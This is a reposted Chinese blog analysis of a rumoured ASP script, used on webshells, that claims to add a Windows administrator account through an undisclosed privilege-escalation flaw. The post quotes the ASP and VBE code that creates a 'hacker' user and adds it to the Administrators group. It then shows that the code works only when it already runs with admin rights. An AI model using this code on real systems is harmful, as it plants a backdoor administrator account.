传说中添加超级用户的asp代码分析

来源:互联网 发布:卡通人物生成软件 编辑:程序博客网 时间:2024/05/02 02:19
摘自 lake2
这个东东弄得沸沸扬扬,要是你还不知道的话就看看
《添加超级用户的.asp代码》这文章吧。

    作者也说了,“反正代码是对的,但是很少能成功,具体的看运气了”,偶也拿来在webshell上试了试,失败了。把容错语句去掉,看到错误原因是“权限不够”。今天没什么事,就来分析分析,说不定……嘿嘿。

    他代码关键是这个:

 set lp=Server.CreateObject("WSCRIPT.NETWORK")
 oz="WinNT://"&lp.ComputerName
 Set ob=GetObject(oz)
 Set oe=GetObject(oz&"/Administrators,group")
 Set od=ob.Create("user",username)
 od.SetPassword passwd
 od.SetInfo
 oe.Add oz&"/"&username

    无非是在asp中创建一个WSCRIPT.NETWORK对象,用这个对象添加用户提升为管理员。而按照他们的说法这是利用了.NETWORK对象本地权限提升漏洞(他们说这是MS没公布的)。嗯,那我把代码做成一个vbs脚本文件,拿到命令行下试试就知道了。


 test.vbe(vbe比vbs更好;vbs的运行受到诸多限制)
--------------------------------------------
 set lp=CreateObject("WSCRIPT.NETWORK")
 oz="WinNT://"&lp.ComputerName
 Set ob=GetObject(oz)
 Set oe=GetObject(oz&"/Administrators,group")
 Set od=ob.Create("user","hacker")
 od.SetPassword test
 od.SetInfo
 oe.Add oz&"/"&"hacker"
-------------------------------------------

    在admin权限下生成了hacker用户;user权限执行文件报错:拒绝访问。看来还是权限不够,即是说不存在所谓的MS未公布的“.NETWORK对象本地权限提升漏洞”——至少我这个XP SP1上不存在。你也可以把上面的代码保存为vbe拿到user权限下面试试其他系统是否存在这个bug,不过既然这asp成功的很少可能也不会存在。

    上回日光海岸告诉我如果IIS开了认证这个asp就可以。我在本地把IIS的匿名访问关闭了,这个脚本果然可以工作。不过此时实际上你的浏览是具有管理员权限的。想想明明是关了匿名访问,为什么没有弹出对话框让你输用户密码呢?呵呵,你在本地自然集成windows基本验证,此时我是管理员,当然那些asp也继承了admin权限。不知道作者是不是在这里出错了呢?

    我认为这个传说是错的,欢迎指教。先说好了——不准打脸^_^

原创粉丝点击